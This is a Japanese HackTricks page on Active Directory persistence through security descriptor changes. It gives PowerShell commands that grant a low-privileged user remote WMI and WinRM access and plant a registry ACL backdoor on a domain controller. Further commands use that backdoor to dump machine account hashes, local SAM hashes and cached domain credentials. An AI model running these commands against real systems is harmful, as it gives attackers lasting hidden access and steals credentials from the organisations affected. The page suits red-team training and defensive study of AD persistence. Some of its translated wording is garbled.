hacktricks/windows-hardening/active-directory-methodology/security-descriptors.md

6.1 KiB
Raw Blame History

セキュリティ記述子

AWSハッキングをゼロからヒーローまで学ぶには、 htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

セキュリティ記述子

セキュリティ記述子定義言語SDDLは、セキュリティ記述子を記述するために使用される形式を定義します。SDDLは、DACLとSACLのためにACE文字列を使用します: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;

セキュリティ記述子は、オブジェクト他のオブジェクトに対して持つ権限保存するために使用されます。オブジェクトのセキュリティ記述子わずかな変更を加えることができれば、特権グループのメンバーでなくても、そのオブジェクトに対して非常に興味深い権限を得ることができます。

したがって、この永続化テクニックは、特定のオブジェクトに対して必要なすべての権限を獲得する能力に基づいており、通常は管理者権限が必要なタスクを、管理者でなくても実行できるようにするものです。

WMIへのアクセス

ユーザーにリモートでWMIを実行するアクセスを与えるには、これを使用します:

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc namespace 'root\cimv2' -Verbose
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dcnamespace 'root\cimv2' -Remove -Verbose #Remove

WinRMへのアクセス

winrm PSコンソールへのユーザーアクセスを許可する方法はこちら:

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove

ハッシュへのリモートアクセス

レジストリにアクセスし、DAMPを使用してレジ回路バックドアを作成し、ハッシュをダンプします。これにより、いつでもコンピュータのハッシュSAM、およびコンピュータにキャッシュされたADの資格情報を取得できます。したがって、この権限をドメインコントローラコンピュータに対する通常のユーザーに与えることは非常に有用です:

# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose

# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose

# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose

# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose

ドメインコントローラーのコンピューターアカウントのハッシュを使用する方法については、Silver Ticketsを確認してください。

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェックしてください!

HackTricksをサポートする他の方法: